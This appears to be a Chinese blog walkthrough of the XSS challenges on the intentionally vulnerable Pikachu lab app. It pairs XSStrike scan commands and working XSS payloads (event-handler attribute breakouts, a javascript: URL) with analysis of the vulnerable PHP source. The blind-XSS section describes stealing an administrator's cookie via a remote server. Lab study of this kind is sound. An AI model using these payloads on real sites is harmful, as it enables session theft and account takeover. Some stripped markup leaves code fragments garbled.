网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)

目录

反射型XSS(get)

攻击

代码分析

主要步骤

反射型XSS(post)

攻击

代码分析

主要步骤

存储型XSS

攻击

代码分析

主要步骤

DOM型XSS

攻击

代码分析

主要步骤

DOM型XSS-X

代码分析

主要步骤

漏洞原因

XSS之盲打

攻击

代码分析

主要步骤

漏洞原因

XSS之过滤

 攻击

代码分析

主要步骤

XSS之HTML特殊字符

攻击

代码分析

主要步骤

XSS之href输出

攻击

代码分析

主要步骤

XSS之js输出

攻击

代码分析

主要步骤

总结


本文使用靶机pikachu,来练习一下工具XSStrike

常用命令

  • -u url
  • --skip 跳过确认提示
  • --skip-dom 跳过dom型扫描
  • --data post型时的数据

更多内容查看:网络安全-XSStrike中文手册(自学笔记)

反射型XSS(get)

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第1张图片 输入kobe
网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第2张图片 正常

可以看到,是get型,页面返回正常

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=kobe&submit=submit" --skip --skip-dom

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第3张图片

试一下第一个payload,利用的是html的details标签 

http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3CdetAiLs%0doNtoGgle%0a=%0aconfirm()//&submit=submit

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第4张图片

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第5张图片

代码分析

$html='';
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="

输入'kobe'试试-_-

"; }else{ if($_GET['message']=='kobe'){ $html.="

愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!

"; }else{ $html.="

who is {$_GET['message']},i don't care!

"; } } }

主要步骤

  • isset检测变量submit是否已设置并且非 NULL,即判断用户是否点击了submit按钮。
  • 得到message参数,判断是否非空。若为空,输出提示。若非空且为kobe,输出上面截图的图片及内容。
  • 否则,拼接到html变量,并输出html

反射型XSS(post)

登录后输入1,打开Hackbar和F12的控制台,分别获取POST数据和Cookie。

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第6张图片 获取POST数据和Cookie

攻击

注意,Cookie:之后有一个空格

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php" --data "message=1&submit=submit" --headers "Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=slttj3hh1eig65tvj7ldppb984"

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第7张图片

使用第2个吧,

v3dm0s

burpsuite拦截,修改post数据

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第8张图片

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第9张图片

代码分析

if(!$is_login_id){

    header("location:post_login.php");

}

$state = '你已经登陆成功,退出登陆';
$html='';
if(isset($_POST['submit'])){
    if(empty($_POST['message'])){
        $html.="

输入'kobe'试试-_-

"; }else{ //下面直接将前端输入的参数原封不动的输出了,出现xss if($_POST['message']=='kobe'){ $html.="

愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!

"; }else{ $html.="

who is {$_POST['message']},i don't care!

"; } } } if(isset($_GET['logout']) && $_GET['logout'] == '1'){ setcookie('ant[uname]',''); setcookie('ant[pw]',''); header("location:post_login.php"); }

主要步骤

相同的不再赘述。和之前相比,添加了登录,用来设置Cookie,不过仍然是进行拼接,没有任何过滤。

存储型XSS

输入1,点击提交,返回正常。

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第10张图片

攻击

注意,由于保存到数据库,及时按Ctrl+C

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_stored.php" --data "message=1&submit=submit" --headers "Cookie: csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=slttj3hh1eig65tvj7ldppb984" --skip-dom --skip

XSStrike结果

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第11张图片

 pikachu页面结果

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第12张图片

数据库中message表部分内容: 

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第13张图片

代码分析

$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="

数据库出现异常,提交失败!

"; } } if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){ //彩蛋:虽然这是个存储型xss的页面,但这里有个delete的sql注入 $query="delete from message where id={$_GET['id']}"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ echo ""; }else{ $html.="

删除失败,请重试并检查数据库是否还好!

"; } } {$data['content']}

删除"; } echo $html; ?>

主要步骤

把message和时间存储到数据库,直接从数据库中拿出来展示。

输入未过滤,输出未转码,同时,有个彩蛋,删除时存在sql注入漏洞,需要绕过is_numeric的过滤。

DOM型XSS

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第14张图片 出现what do you see链接
网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第15张图片 点击what do you see链接后

跳转到1,说明a链接中包含输入,且url上也存在输入。

攻击

先试试和之前的文件上传漏洞合作一把。

../unsafeupload/uploads/tupian.php

点击what do you see?,即可跳转。

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第16张图片

接下来就看xss,F12,查看链接

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第17张图片

what do you see?

XSStrike

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_dom.php" --data "message=1&submit=submit" --headers "Cookie: csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=toqllihbqq4jmiudeq49dfttt1" --skip
网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第18张图片 失败

 手工,闭合一下,由于点击可能跳转,使用的onmouseover事件。

' onmouseover = "alert('lady_killer9')"

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第19张图片 成功

代码分析

            

主要步骤

使用innerHTML在id为dom的 div块中添加a链接,输入的转为字符串放到a链接的href属性上。

DOM型XSS-X

输入伤心的往事

上道题使用XSStrike没做出来

 出现了一个链接,是get型传参。

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第20张图片

点击a链接,又出现了一个,可以看到我们的输入,和上道题就一样了,我估计XSStrike还是做不出来,我就直接手工了。

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第21张图片

手工注入

'>

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第22张图片 成功

哈哈哈,那个按钮太小了,差点没看见。你可以使用标签,配合onerror等事件。

代码分析

$html='';
if(isset($_GET['text'])){
    $html.= "有些费尽心机想要忘记的事情,后来真的就忘掉了";
}  

主要步骤

  • 提交表单后,得到text,添加一个a链接,href属性为#,点击运行domxss函数。
  • domxss函数将text通过正则进行一个简单过滤,然后和上一个一样。

漏洞原因

尝试过滤,但是过滤太简单。通过点击之后再显示输出,可以解决大部分自动化注入脚本,可以自己写脚本,添加锚点即可。

XSS之盲打

输入

帅呆了

lady_killer9

点击提交

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第23张图片 正常

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xssblind/xss_blind.php" --data "content=帅呆了&name=lady_killer&submit=提交" --headers "Cookie: csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=toqllihbqq4jmiudeq49dfttt1" --skip
网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第24张图片 失败

点一下提示

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第25张图片 提示

原来需要登录

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第26张图片 登录后

管理员能够看到结果。我们可以通过xss注入,使用js发送邮件或使用websocket将管理员的cookie等发送到我们的服务器,在Cookie失效前使用,获得管理员权限。留言和用户名输入:

登录管理员账号查看:

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第27张图片 攻击成功

代码分析

if(array_key_exists("content",$_POST) && $_POST['content']!=null){
    $content=escape($link, $_POST['content']);
    $name=escape($link, $_POST['name']);
    $time=$time=date('Y-m-d g:i:s');
    $query="insert into xssblind(time,content,name) values('$time','$content','$name')";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        $html.="

谢谢参与,阁下的看法我们已经收到!

"; }else { $html.="

ooo.提交出现异常,请重新提交

"; } } {$data['id']} {$data['time']} {$data['content']} {$data['name']} 删除 A; echo $html; } ?>

主要步骤

提交后直接保存到数据库。显示时直接从数据库读取出来拼接后显示。

漏洞原因

未对输入进行过滤,输出时直接拼接。

个人认为这个成功的概率太低,真的是盲打,sql盲注时虽然没有具体的回显,但是好歹还知道sql语句是否运行成功,可以通过bool或时间判断。这个直接在管理员界面,你不清楚注入点,也不清楚是否需要闭合。

XSS之过滤

输入

我用Python

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第28张图片 正常页面

get型传参,有回显。

 攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_01.php?message=%E6%88%91%E7%94%A8Python&submit=submit" --skip
网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第29张图片 成功

我们就用下a链接和prompt吧,稍微修改了一下

lady_killer9

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第30张图片

代码分析

$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
    //这里会使用正则对',$_GET['message']);

    if($message == 'yes'){
        $html.="

那就去人民广场一个人坐一会儿吧!

"; }else{ $html.="

别说这些'{$message}'的话,不要怕,就是干!

"; } }

主要步骤

注释写的很清楚,使用正则,过滤

同时,有个小彩蛋,输入yes的话就不会显示你的输入了,而是固定的文本——那就去人民广场一个人坐一会儿吧!。

XSS之HTML特殊字符

输入

I use python

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第31张图片 正常

get型,有回显,还是a链接。

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_02.php?message=I+use+python&submit=submit" --skip

攻击成功:

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第32张图片 成功
网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第33张图片 不对劲呀

被转义了,还是自己构造吧。

' onMouseover = alert(/xss/)

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第34张图片 成功

代码分析

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="

输入点啥吧!

"; }else { //使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理 $message=htmlspecialchars($_GET['message']); $html1.="

你的输入已经被记录:

"; //输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)' // $html2.=""; $html2.="{$message}"; } }

主要步骤

注释写的很清楚,使用htmlspecialchars进行处理,更多php安全相关内容,可以查看网络安全-php安全知识点。

然后拼接到a链接的href属性和输出上。

XSS之href输出

输入

www.google.com

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第35张图片 成功

get型传参,有回显,输入到了a链接的href属性上。

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_03.php?message=www.google.com&submit=submit" --skip
网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第36张图片 竟然不用按Ctrl+C停止

竟然不用自己停止,amazing!!!就用第一个吧。

JavasCript:(confirm)()

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第37张图片 攻击成功

使用的js伪协议,估计是有过滤,接下来看看源码吧。

代码分析

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="

叫你输入个url,你咋不听?

"; } if($_GET['message'] == 'www.baidu.com'){ $html.="

我靠,我真想不到你是这样的一个人

"; }else { //输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,https,其次在进行htmlspecialchars处理 $message=htmlspecialchars($_GET['message'],ENT_QUOTES); $html.=" 阁下自己输入的url还请自己点一下吧"; } }

主要步骤

哈哈哈,这个逗比作者,还好我没写百度。

他也提示了,使用javascript协议绕过即可。

XSS之js输出

输入

tmac

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第38张图片 正常返回

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_04.php?message=tmac&submit=submit#" --skip
网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第39张图片 生成payload

不太对劲呀,每次都是这个payload,也不说怎么闭合。我黏贴了几个payload,很明显,并不行。

通过提示,我们知道是javascript动态生成,我们输入试一下。

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第40张图片 成功了

通过下面的内容,可能是单引号加闭合。

代码分析

//这里讲输入动态的生成到了js中,形成xss
//javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义
//讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修?
//这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
//所以在JS的输出点应该使用\对特殊字符进行转义

if(isset($_GET['submit']) && $_GET['message'] !=null){
    $jsvar=$_GET['message'];
    if($jsvar == 'tmac'){
        $html.="";
    }
}

主要步骤

两个输出,id为fromjs的p标签内容和html变量,根据读入的变量message是否为tmac。

我们输入kobe,提交一下,查看生成的js。

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第41张图片

可以看到单引号闭合。

'

网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)_第42张图片 成功

总结

常见闭合:单引号,双引号,js标签,html标签

XSStrike问题:不显示需要什么字符、标签进行闭合,应该就是按顺序注入的,能够注入成功的话就显示。

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

你可能感兴趣的:(网络安全,web,安全,XSS,XSStrike)